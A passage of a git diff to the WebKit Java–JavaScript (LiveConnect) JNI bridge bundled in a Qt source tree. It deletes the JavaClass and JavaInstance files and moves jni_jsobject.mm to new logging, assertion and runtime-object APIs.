-    jobject aClass = callJNIMethod<jobject>(anInstance, "getClass", "()Ljava/lang/Class;");
-    
-    if (!aClass) {
-        fprintf(stderr, "%s:  unable to call getClass on instance %p\n", __PRETTY_FUNCTION__, anInstance);
-        return;
-    }
-    
-    jstring className = (jstring)callJNIMethod<jobject>(aClass, "getName", "()Ljava/lang/String;");
-    const char *classNameC = getCharactersFromJString(className);
-    _name = strdup(classNameC);
-    releaseCharactersForJString(className, classNameC);
-
-    int i;
-    JNIEnv *env = getJNIEnv();
-
-    // Get the fields
-    jarray fields = (jarray)callJNIMethod<jobject>(aClass, "getFields", "()[Ljava/lang/reflect/Field;");
-    int numFields = env->GetArrayLength(fields);    
-    for (i = 0; i < numFields; i++) {
-        jobject aJField = env->GetObjectArrayElement((jobjectArray)fields, i);
-        JavaField *aField = new JavaField(env, aJField); // deleted in the JavaClass destructor
-        {
-            JSLock lock(SilenceAssertionsOnly);
-            _fields.set(aField->name(), aField);
-        }
-        env->DeleteLocalRef(aJField);
-    }
-
-    // Get the methods
-    jarray methods = (jarray)callJNIMethod<jobject>(aClass, "getMethods", "()[Ljava/lang/reflect/Method;");
-    int numMethods = env->GetArrayLength(methods);
-    for (i = 0; i < numMethods; i++) {
-        jobject aJMethod = env->GetObjectArrayElement((jobjectArray)methods, i);
-        JavaMethod *aMethod = new JavaMethod(env, aJMethod); // deleted in the JavaClass destructor
-        MethodList* methodList;
-        {
-            JSLock lock(SilenceAssertionsOnly);
-
-            methodList = _methods.get(aMethod->name());
-            if (!methodList) {
-                methodList = new MethodList();
-                _methods.set(aMethod->name(), methodList);
-            }
-        }
-        methodList->append(aMethod);
-        env->DeleteLocalRef(aJMethod);
-    }    
-}
-
-JavaClass::~JavaClass() {
-    free((void *)_name);
-
-    JSLock lock(SilenceAssertionsOnly);
-
-    deleteAllValues(_fields);
-    _fields.clear();
-
-    MethodListMap::const_iterator end = _methods.end();
-    for (MethodListMap::const_iterator it = _methods.begin(); it != end; ++it) {
-        const MethodList* methodList = it->second;
-        deleteAllValues(*methodList);
-        delete methodList;
-    }
-    _methods.clear();
-}
-
-MethodList JavaClass::methodsNamed(const Identifier& identifier, Instance*) const
-{
-    MethodList *methodList = _methods.get(identifier.ustring().rep());
-    
-    if (methodList)
-        return *methodList;
-    return MethodList();
-}
-
-Field *JavaClass::fieldNamed(const Identifier& identifier, Instance*) const
-{
-    return _fields.get(identifier.ustring().rep());
-}
-
-bool JavaClass::isNumberClass() const
-{
-    return ((strcmp(_name, "java.lang.Byte") == 0 ||
-             strcmp(_name, "java.lang.Short") == 0 ||
-             strcmp(_name, "java.lang.Integer") == 0 ||
-             strcmp(_name, "java.lang.Long") == 0 ||
-             strcmp(_name, "java.lang.Float") == 0 ||
-             strcmp(_name, "java.lang.Double") == 0) );
-}
-
-bool JavaClass::isBooleanClass() const
-{
-    return strcmp(_name, "java.lang.Boolean") == 0;
-}
-
-bool JavaClass::isStringClass() const
-{
-    return strcmp(_name, "java.lang.String") == 0;
-}
-
-#endif // ENABLE(MAC_JAVA_BRIDGE)
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/jni_class.h b/src/3rdparty/webkit/WebCore/bridge/jni/jni_class.h
deleted file mode 100644
index 890b4d3..0000000
--- a/src/3rdparty/webkit/WebCore/bridge/jni/jni_class.h
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2003 Apple Computer, Inc.  All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#ifndef JNI_CLASS_H_
-#define JNI_CLASS_H_
-
-#if ENABLE(MAC_JAVA_BRIDGE)
-
-#include <jni_runtime.h>
-#include <wtf/HashMap.h>
-
-namespace JSC {
-
-namespace Bindings {
-
-class JavaClass : public Class {
-public:
-    JavaClass (jobject anInstance);
-    ~JavaClass ();
-
-    virtual MethodList methodsNamed(const Identifier&, Instance* instance) const;    
-    virtual Field *fieldNamed(const Identifier&, Instance* instance) const;
-    
-    bool isNumberClass() const;
-    bool isBooleanClass() const;
-    bool isStringClass() const;
-    
-private:
-    const char *_name;
-    FieldMap _fields;
-    MethodListMap _methods;
-};
-
-} // namespace Bindings
-
-} // namespace JSC
-
-#endif // ENABLE(MAC_JAVA_BRIDGE)
-
-#endif // JNI_CLASS_H_
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/jni_instance.cpp b/src/3rdparty/webkit/WebCore/bridge/jni/jni_instance.cpp
deleted file mode 100644
index 2ef0c1d..0000000
--- a/src/3rdparty/webkit/WebCore/bridge/jni/jni_instance.cpp
+++ /dev/null
@@ -1,330 +0,0 @@
-/*
- * Copyright (C) 2003, 2008 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-#include "jni_instance.h"
-
-#if ENABLE(MAC_JAVA_BRIDGE)
-
-#include "jni_class.h"
-#include "jni_runtime.h"
-#include "jni_utility.h"
-#include "runtime_object.h"
-#include "runtime_root.h"
-#include <runtime/ArgList.h>
-#include <runtime/Error.h>
-#include <runtime/JSLock.h>
-
-#ifdef NDEBUG
-#define JS_LOG(formatAndArgs...) ((void)0)
-#else
-#define JS_LOG(formatAndArgs...) { \
-    fprintf (stderr, "%s:%d -- %s:  ", __FILE__, __LINE__, __FUNCTION__); \
-    fprintf(stderr, formatAndArgs); \
-}
-#endif
- 
-using namespace JSC::Bindings;
-using namespace JSC;
-
-JavaInstance::JavaInstance (jobject instance, PassRefPtr<RootObject> rootObject)
-    : Instance(rootObject)
-{
-    _instance = new JObjectWrapper (instance);
-    _class = 0;
-}
-
-JavaInstance::~JavaInstance () 
-{
-    delete _class; 
-}
-
-#define NUM_LOCAL_REFS 64
-
-void JavaInstance::virtualBegin()
-{
-    getJNIEnv()->PushLocalFrame (NUM_LOCAL_REFS);
-}
-
-void JavaInstance::virtualEnd()
-{
-    getJNIEnv()->PopLocalFrame (NULL);
-}
-
-Class *JavaInstance::getClass() const 
-{
-    if (_class == 0)
-        _class = new JavaClass (_instance->_instance);
-    return _class;
-}
-
-JSValue JavaInstance::stringValue(ExecState* exec) const
-{
-    JSLock lock(SilenceAssertionsOnly);
-    
-    jstring stringValue = (jstring)callJNIMethod<jobject>(_instance->_instance, "toString", "()Ljava/lang/String;");
-    JNIEnv *env = getJNIEnv();
-    const jchar *c = getUCharactersFromJStringInEnv(env, stringValue);
-    UString u((const UChar *)c, (int)env->GetStringLength(stringValue));
-    releaseUCharactersForJStringInEnv(env, stringValue, c);
-    return jsString(exec, u);
-}
-
-JSValue JavaInstance::numberValue(ExecState* exec) const
-{
-    jdouble doubleValue = callJNIMethod<jdouble>(_instance->_instance, "doubleValue", "()D");
-    return jsNumber(exec, doubleValue);
-}
-
-JSValue JavaInstance::booleanValue() const
-{
-    jboolean booleanValue = callJNIMethod<jboolean>(_instance->_instance, "booleanValue", "()Z");
-    return jsBoolean(booleanValue);
-}
-
-JSValue JavaInstance::invokeMethod (ExecState *exec, const MethodList &methodList, const ArgList &args)
-{
-    int i, count = args.size();
-    jvalue *jArgs;
-    JSValue resultValue;
-    Method *method = 0;
-    size_t numMethods = methodList.size();
-    
-    // Try to find a good match for the overloaded method.  The 
-    // fundamental problem is that JavaScript doesn have the
-    // notion of method overloading and Java does.  We could 
-    // get a bit more sophisticated and attempt to does some
-    // type checking as we as checking the number of parameters.
-    Method *aMethod;
-    for (size_t methodIndex = 0; methodIndex < numMethods; methodIndex++) {
-        aMethod = methodList[methodIndex];
-        if (aMethod->numParameters() == count) {
-            method = aMethod;
-            break;
-        }
-    }
-    if (method == 0) {
-        JS_LOG ("unable to find an appropiate method\n");
-        return jsUndefined();
-    }
-    
-    const JavaMethod *jMethod = static_cast<const JavaMethod*>(method);
-    JS_LOG ("call %s %s on %p\n", UString(jMethod->name()).UTF8String().c_str(), jMethod->signature(), _instance->_instance);
-    
-    if (count > 0) {
-        jArgs = (jvalue *)malloc (count * sizeof(jvalue));
-    }
-    else
-        jArgs = 0;
-        
-    for (i = 0; i < count; i++) {
-        JavaParameter* aParameter = jMethod->parameterAt(i);
-        jArgs[i] = convertValueToJValue(exec, args.at(i), aParameter->getJNIType(), aParameter->type());
-        JS_LOG("arg[%d] = %s\n", i, args.at(i).toString(exec).ascii());
-    }
-        
-    jvalue result;
-
-    // Try to use the JNI abstraction first, otherwise fall back to
-    // nornmal JNI.  The JNI dispatch abstraction allows the Java plugin
-    // to dispatch the call on the appropriate internal VM thread.
-    RootObject* rootObject = this->rootObject();
-    if (!rootObject)
-        return jsUndefined();
-
-    bool handled = false;
-    if (rootObject->nativeHandle()) {
-        jobject obj = _instance->_instance;
-        JSValue exceptionDescription;
-        const char *callingURL = 0;  // FIXME, need to propagate calling URL to Java
-        handled = dispatchJNICall(exec, rootObject->nativeHandle(), obj, jMethod->isStatic(), jMethod->JNIReturnType(), jMethod->methodID(obj), jArgs, result, callingURL, exceptionDescription);
-        if (exceptionDescription) {
-            throwError(exec, GeneralError, exceptionDescription.toString(exec));
-            free (jArgs);
-            return jsUndefined();
-        }
-    }
-    
-    // The following code can be conditionally removed once we have a Tiger update that
-    // contains the new Java plugin.  It is needed for builds prior to Tiger.
-    if (!handled) {    
-        jobject obj = _instance->_instance;
-        switch (jMethod->JNIReturnType()){
-            case void_type:
-                callJNIMethodIDA<void>(obj, jMethod->methodID(obj), jArgs);
-                break;            
-            case object_type:
-                result.l = callJNIMethodIDA<jobject>(obj, jMethod->methodID(obj), jArgs);
-                break;
-            case boolean_type:
-                result.z = callJNIMethodIDA<jboolean>(obj, jMethod->methodID(obj), jArgs);
-                break;
-            case byte_type:
-                result.b = callJNIMethodIDA<jbyte>(obj, jMethod->methodID(obj), jArgs);
-                break;
-            case char_type:
-                result.c = callJNIMethodIDA<jchar>(obj, jMethod->methodID(obj), jArgs);
-                break;            
-            case short_type:
-                result.s = callJNIMethodIDA<jshort>(obj, jMethod->methodID(obj), jArgs);
-                break;
-            case int_type:
-                result.i = callJNIMethodIDA<jint>(obj, jMethod->methodID(obj), jArgs);
-                break;
-            
-            case long_type:
-                result.j = callJNIMethodIDA<jlong>(obj, jMethod->methodID(obj), jArgs);
-                break;
-            case float_type:
-                result.f = callJNIMethodIDA<jfloat>(obj, jMethod->methodID(obj), jArgs);
-                break;
-            case double_type:
-                result.d = callJNIMethodIDA<jdouble>(obj, jMethod->methodID(obj), jArgs);
-                break;
-            case invalid_type:
-            default:
-                break;
-        }
-    }
-        
-    switch (jMethod->JNIReturnType()){
-        case void_type: {
-            resultValue = jsUndefined();
-        }
-        break;
-        
-        case object_type: {
-            if (result.l != 0) {
-                const char *arrayType = jMethod->returnType();
-                if (arrayType[0] == '[') {
-                    resultValue = JavaArray::convertJObjectToArray(exec, result.l, arrayType, rootObject);
-                }
-                else {
-                    resultValue = JavaInstance::create(result.l, rootObject)->createRuntimeObject(exec);
-                }
-            }
-            else {
-                resultValue = jsUndefined();
-            }
-        }
-        break;
-        
-        case boolean_type: {
-            resultValue = jsBoolean(result.z);
-        }
-        break;
-        
-        case byte_type: {
-            resultValue = jsNumber(exec, result.b);
-        }
-        break;
-        
-        case char_type: {
-            resultValue = jsNumber(exec, result.c);
-        }
-        break;
-        
-        case short_type: {
-            resultValue = jsNumber(exec, result.s);
-        }
-        break;
-        
-        case int_type: {
-            resultValue = jsNumber(exec, result.i);
-        }
-        break;
-        
-        case long_type: {
-            resultValue = jsNumber(exec, result.j);
-        }
-        break;
-        
-        case float_type: {
-            resultValue = jsNumber(exec, result.f);
-        }
-        break;
-        
-        case double_type: {
-            resultValue = jsNumber(exec, result.d);
-        }
-        break;
-
-        case invalid_type:
-        default: {
-            resultValue = jsUndefined();
-        }
-        break;
-    }
-
-    free (jArgs);
-
-    return resultValue;
-}
-
-JSValue JavaInstance::defaultValue(ExecState* exec, PreferredPrimitiveType hint) const
-{
-    if (hint == PreferString)
-        return stringValue(exec);
-    if (hint == PreferNumber)
-        return numberValue(exec);
-    JavaClass *aClass = static_cast<JavaClass*>(getClass());
-    if (aClass->isStringClass())
-        return stringValue(exec);
-    if (aClass->isNumberClass())
-        return numberValue(exec);
-    if (aClass->isBooleanClass())
-        return booleanValue();
-    return valueOf(exec);
-}
-
-JSValue JavaInstance::valueOf(ExecState* exec) const 
-{
-    return stringValue(exec);
-}
-
-JObjectWrapper::JObjectWrapper(jobject instance)
-: _refCount(0)
-{
-    assert (instance != 0);
-
-    // Cache the JNIEnv used to get the global ref for this java instanace.
-    // It'll be used to delete the reference.
-    _env = getJNIEnv();
-        
-    _instance = _env->NewGlobalRef (instance);
-    
-    JS_LOG ("new global ref %p for %p\n", _instance, instance);
-
-    if  (_instance == NULL) {
-        fprintf (stderr, "%s:  could not get GlobalRef for %p\n", __PRETTY_FUNCTION__, instance);
-    }
-}
-
-JObjectWrapper::~JObjectWrapper() {
-    JS_LOG ("deleting global ref %p\n", _instance);
-    _env->DeleteGlobalRef (_instance);
-}
-
-#endif // ENABLE(MAC_JAVA_BRIDGE)
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/jni_instance.h b/src/3rdparty/webkit/WebCore/bridge/jni/jni_instance.h
deleted file mode 100644
index 0dcab3e..0000000
--- a/src/3rdparty/webkit/WebCore/bridge/jni/jni_instance.h
+++ /dev/null
@@ -1,108 +0,0 @@
-/*
- * Copyright (C) 2003 Apple Computer, Inc.  All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#ifndef _JNI_INSTANCE_H_
-#define _JNI_INSTANCE_H_
-
-#if ENABLE(MAC_JAVA_BRIDGE)
-
-#include "runtime.h"
-#include "runtime_root.h"
-
-#include <JavaVM/jni.h>
-
-namespace JSC {
-
-namespace Bindings {
-
-class JavaClass;
-
-class JObjectWrapper
-{
-friend class RefPtr<JObjectWrapper>;
-friend class JavaArray;
-friend class JavaField;
-friend class JavaInstance;
-friend class JavaMethod;
-
-protected:
-    JObjectWrapper(jobject instance);    
-    ~JObjectWrapper();
-    
-    void ref() { _refCount++; }
-    void deref() 
-    { 
-        if (--_refCount == 0) 
-            delete this; 
-    }
-
-    jobject _instance;
-
-private:
-    JNIEnv *_env;
-    unsigned int _refCount;
-};
-
-class JavaInstance : public Instance
-{
-public:
-    static PassRefPtr<JavaInstance> create(jobject instance, PassRefPtr<RootObject> rootObject) 
-    {
-        return adoptRef(new JavaInstance(instance, rootObject));
-    }
-    
-    ~JavaInstance();
-    
-    virtual Class *getClass() const;
-    
-    virtual JSValue valueOf(ExecState*) const;
-    virtual JSValue defaultValue(ExecState*, PreferredPrimitiveType) const;
-
-    virtual JSValue invokeMethod(ExecState* exec, const MethodList& method, const ArgList& args);
-
-    jobject javaInstance() const { return _instance->_instance; }
-    
-    JSValue stringValue(ExecState*) const;
-    JSValue numberValue(ExecState*) const;
-    JSValue booleanValue() const;
-
-protected:
-    virtual void virtualBegin();
-    virtual void virtualEnd();
-
-private:
-    JavaInstance(jobject instance, PassRefPtr<RootObject>);
-
-    RefPtr<JObjectWrapper> _instance;
-    mutable JavaClass *_class;
-};
-
-} // namespace Bindings
-
-} // namespace JSC
-
-#endif // ENABLE(MAC_JAVA_BRIDGE)
-
-#endif // _JNI_INSTANCE_H_
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/jni_jsobject.mm b/src/3rdparty/webkit/WebCore/bridge/jni/jni_jsobject.mm
index cc28a75..5e036ab 100644
--- a/src/3rdparty/webkit/WebCore/bridge/jni/jni_jsobject.mm
+++ b/src/3rdparty/webkit/WebCore/bridge/jni/jni_jsobject.mm
@@ -29,33 +29,27 @@
 #if ENABLE(MAC_JAVA_BRIDGE)
 
 #include "Frame.h"
+#include "JavaRuntimeObject.h"
+#include "JNIBridge.h"
+#include "JNIUtility.h"
+#include "JNIUtilityPrivate.h"
 #include "JSDOMBinding.h"
+#include "Logging.h"
 #include "ScriptController.h"
 #include "StringSourceProvider.h"
 #include "WebCoreFrameView.h"
-#include "jni_runtime.h"
-#include "jni_utility.h"
 #include "runtime_object.h"
 #include "runtime_root.h"
 #include <interpreter/CallFrame.h>
 #include <runtime/Completion.h>
 #include <runtime/JSGlobalObject.h>
 #include <runtime/JSLock.h>
-#include <wtf/Assertions.h>
 
 using WebCore::Frame;
 
 using namespace JSC::Bindings;
 using namespace JSC;
-
-#ifdef NDEBUG
-#define JS_LOG(formatAndArgs...) ((void)0)
-#else
-#define JS_LOG(formatAndArgs...) { \
-    fprintf (stderr, "%s(%p,%p):  ", __PRETTY_FUNCTION__, _performJavaScriptRunLoop, CFRunLoopGetCurrent()); \
-    fprintf(stderr, formatAndArgs); \
-}
-#endif
+using namespace WebCore;
 
 #define UndefinedHandle 1
 
@@ -67,12 +61,12 @@ static CFRunLoopSourceRef completionSource;
 
 static void completedJavaScriptAccess (void *i)
 {
-    assert (CFRunLoopGetCurrent() != _performJavaScriptRunLoop);
+    ASSERT(CFRunLoopGetCurrent() != _performJavaScriptRunLoop);
     
     JSObjectCallContext *callContext = (JSObjectCallContext *)i;
     CFRunLoopRef runLoop = (CFRunLoopRef)callContext->originatingLoop;
     
-    assert (CFRunLoopGetCurrent() == runLoop);
+    ASSERT(CFRunLoopGetCurrent() == runLoop);
     
     CFRunLoopStop(runLoop);
 }
@@ -114,7 +108,7 @@ static void dispatchToJavaScriptThread(JSObjectCallContext *context)
     
     CFRunLoopRef currentRunLoop = CFRunLoopGetCurrent();
     
-    assert (currentRunLoop != _performJavaScriptRunLoop);
+    ASSERT(currentRunLoop != _performJavaScriptRunLoop);
     
     // Setup a source to signal once the invocation of the JavaScript
     // call completes.
@@ -127,7 +121,7 @@ static void dispatchToJavaScriptThread(JSObjectCallContext *context)
     completionSource = CFRunLoopSourceCreate(NULL, 0, &sourceContext);
     CFRunLoopAddSource(currentRunLoop, completionSource, kCFRunLoopDefaultMode);
     
-    // Wakeup JavaScript access thread and make it do it's work.
+    // Wakeup JavaScript access thread and make it do its work.
     CFRunLoopSourceSignal(_performJavaScriptSource);
     if (CFRunLoopIsWaiting(_performJavaScriptRunLoop))
         CFRunLoopWakeUp(_performJavaScriptRunLoop);
@@ -143,7 +137,7 @@ static void dispatchToJavaScriptThread(JSObjectCallContext *context)
 
 static void performJavaScriptAccess(void*)
 {
-    assert (CFRunLoopGetCurrent() == _performJavaScriptRunLoop);
+    ASSERT(CFRunLoopGetCurrent() == _performJavaScriptRunLoop);
     
     // Dispatch JavaScript calls here.
     CFRunLoopSourceContext sourceContext;
@@ -204,7 +198,7 @@ jvalue JavaJSObject::invoke(JSObjectCallContext *context)
         else {
             JSObject *imp = jlong_to_impptr(nativeHandle);
             if (!findProtectingRootObject(imp)) {
-                fprintf (stderr, "%s:%d:  Attempt to access JavaScript from destroyed applet, type %d.\n", __FILE__, __LINE__, context->type);
+                LOG_ERROR("Attempt to access JavaScript from destroyed applet, type %d.", context->type);
                 return result;
             }
 
@@ -255,7 +249,7 @@ jvalue JavaJSObject::invoke(JSObjectCallContext *context)
                 }
                 
                 default: {
-                    fprintf (stderr, "%s:  invalid JavaScript call\n", __PRETTY_FUNCTION__);
+                    LOG_ERROR("invalid JavaScript call");
                 }
             }
         }
@@ -282,7 +276,7 @@ RootObject* JavaJSObject::rootObject() const
 
 jobject JavaJSObject::call(jstring methodName, jobjectArray args) const
 {
-    JS_LOG ("methodName = %s\n", JavaString(methodName).UTF8String());
+    LOG(LiveConnect, "JavaJSObject::call methodName = %s", JavaString(methodName).UTF8String());
 
     RootObject* rootObject = this->rootObject();
     if (!rootObject)
@@ -303,7 +297,7 @@ jobject JavaJSObject::call(jstring methodName, jobjectArray args) const
     MarkedArgumentBuffer argList;
     getListFromJArray(exec, args, argList);
     rootObject->globalObject()->globalData()->timeoutChecker.start();
-    JSValue result = WebCore::callInWorld(exec, function, callType, callData, _imp, argList, WebCore::pluginWorld());
+    JSValue result = JSC::call(exec, function, callType, callData, _imp, argList);
     rootObject->globalObject()->globalData()->timeoutChecker.stop();
 
     return convertValueToJObject(result);
@@ -311,7 +305,7 @@ jobject JavaJSObject::call(jstring methodName, jobjectArray args) const
 
 jobject JavaJSObject::eval(jstring script) const
 {
-    JS_LOG ("script = %s\n", JavaString(script).UTF8String());
+    LOG(LiveConnect, "JavaJSObject::eval script = %s", JavaString(script).UTF8String());
     
     JSValue result;
 
@@ -322,7 +316,7 @@ jobject JavaJSObject::eval(jstring script) const
         return 0;
 
     rootObject->globalObject()->globalData()->timeoutChecker.start();
-    Completion completion = WebCore::evaluateInWorld(rootObject->globalObject()->globalExec(), rootObject->globalObject()->globalScopeChain(), makeSource(JavaString(script)), JSC::JSValue(), WebCore::pluginWorld());
+    Completion completion = JSC::evaluate(rootObject->globalObject()->globalExec(), rootObject->globalObject()->globalScopeChain(), makeSource(JavaString(script)), JSC::JSValue());
     rootObject->globalObject()->globalData()->timeoutChecker.stop();
     ComplType type = completion.complType();
     
@@ -338,7 +332,7 @@ jobject JavaJSObject::eval(jstring script) const
 
 jobject JavaJSObject::getMember(jstring memberName) const
 {
-    JS_LOG ("(%p) memberName = %s\n", _imp, JavaString(memberName).UTF8String());
+    LOG(LiveConnect, "JavaJSObject::getMember (%p) memberName = %s", _imp, JavaString(memberName).UTF8String());
 
     RootObject* rootObject = this->rootObject();
     if (!rootObject)
@@ -354,7 +348,7 @@ jobject JavaJSObject::getMember(jstring memberName) const
 
 void JavaJSObject::setMember(jstring memberName, jobject value) const
 {
-    JS_LOG ("memberName = %s, value = %p\n", JavaString(memberName).UTF8String(), value);
+    LOG(LiveConnect, "JavaJSObject::setMember memberName = %s, value = %p", JavaString(memberName).UTF8String(), value);
 
     RootObject* rootObject = this->rootObject();
     if (!rootObject)
@@ -370,7 +364,7 @@ void JavaJSObject::setMember(jstring memberName, jobject value) const
 
 void JavaJSObject::removeMember(jstring memberName) const
 {
-    JS_LOG ("memberName = %s\n", JavaString(memberName).UTF8String());
+    LOG(LiveConnect, "JavaJSObject::removeMember memberName = %s", JavaString(memberName).UTF8String());
 
     RootObject* rootObject = this->rootObject();
     if (!rootObject)
@@ -384,11 +378,7 @@ void JavaJSObject::removeMember(jstring memberName) const
 
 jobject JavaJSObject::getSlot(jint index) const
 {
-#ifdef __LP64__
-    JS_LOG ("index = %d\n", index);
-#else
-    JS_LOG ("index = %ld\n", index);
-#endif
+    LOG(LiveConnect, "JavaJSObject::getSlot index = %ld", static_cast<long>(index));
 
     RootObject* rootObject = this->rootObject();
     if (!rootObject)
@@ -405,11 +395,7 @@ jobject JavaJSObject::getSlot(jint index) const
 
 void JavaJSObject::setSlot(jint index, jobject value) const
 {
-#ifdef __LP64__
-    JS_LOG ("index = %d, value = %p\n", index, value);
-#else
-    JS_LOG ("index = %ld, value = %p\n", index, value);
-#endif
+    LOG(LiveConnect, "JavaJSObject::setSlot index = %ld, value = %p", static_cast<long>(index), value);
 
     RootObject* rootObject = this->rootObject();
     if (!rootObject)
@@ -423,7 +409,7 @@ void JavaJSObject::setSlot(jint index, jobject value) const
 
 jstring JavaJSObject::toString() const
 {
-    JS_LOG ("\n");
+    LOG(LiveConnect, "JavaJSObject::toString");
     
     RootObject* rootObject = this->rootObject();
     if (!rootObject)
@@ -433,7 +419,7 @@ jstring JavaJSObject::toString() const
     JSObject *thisObj = const_cast<JSObject*>(_imp);
     ExecState* exec = rootObject->globalObject()->globalExec();
     
-    return (jstring)convertValueToJValue (exec, thisObj, object_type, "java.lang.String").l;
+    return static_cast<jstring>(convertValueToJValue(exec, rootObject, thisObj, object_type, "java.lang.String").l);
 }
 
 void JavaJSObject::finalize() const
@@ -461,7 +447,7 @@ static PassRefPtr<RootObject> createRootObject(void* nativeHandle)
 // another JavaJSObject.
 jlong JavaJSObject::createNative(jlong nativeHandle)
 {
-    JS_LOG ("nativeHandle = %d\n", (int)nativeHandle);
+    LOG(LiveConnect, "JavaJSObject::createNative nativeHandle = %d", static_cast<int>(nativeHandle));
 
     if (nativeHandle == UndefinedHandle)
         return nativeHandle;
@@ -527,31 +513,29 @@ jobject JavaJSObject::convertValueToJObject(JSValue value) const
         jlong nativeHandle;
         
         if (value.isObject()) {
-            JSObject* imp = asObject(value);
+            JSObject* object = asObject(value);
             
             // We either have a wrapper around a Java instance or a JavaScript
             // object.  If we have a wrapper around a Java instance, return that
             // instance, otherwise create a new Java JavaJSObject with the JSObject*
-            // as it's nativeHandle.
-            if (imp->classInfo() && strcmp(imp->classInfo()->className, "RuntimeObject") == 0) {
-                RuntimeObjectImp* runtimeImp = static_cast<RuntimeObjectImp*>(imp);
-                JavaInstance *runtimeInstance = static_cast<JavaInstance *>(runtimeImp->getInternalInstance());
+            // as its nativeHandle.
+            if (object->inherits(&JavaRuntimeObject::s_info)) {
+                JavaRuntimeObject* runtimeObject = static_cast<JavaRuntimeObject*>(object);
+                JavaInstance* runtimeInstance = runtimeObject->getInternalJavaInstance();
                 if (!runtimeInstance)
                     return 0;
                 
                 return runtimeInstance->javaInstance();
+            } else {
+                nativeHandle = ptr_to_jlong(object);
+                rootObject->gcProtect(object);
             }
-            else {
-                nativeHandle = ptr_to_jlong(imp);
-                rootObject->gcProtect(imp);
-            }
-        }
+        } else {
         // All other types will result in an undefined object.
-        else {
             nativeHandle = UndefinedHandle;
         }
         
-        // Now create the Java JavaJSObject.  Look for the JavaJSObject in it's new (Tiger)
+        // Now create the Java JavaJSObject.  Look for the JavaJSObject in its new (Tiger)
         // location and in the original Java 1.4.2 location.
         jclass JSObjectClass;
         
@@ -579,30 +563,31 @@ JSValue JavaJSObject::convertJObjectToValue(ExecState* exec, jobject theObject)
     // See section 22.7 of 'JavaScript:  The Definitive Guide, 4th Edition',
     // figure 22-4.
     jobject classOfInstance = callJNIMethod<jobject>(theObject, "getClass", "()Ljava/lang/Class;");
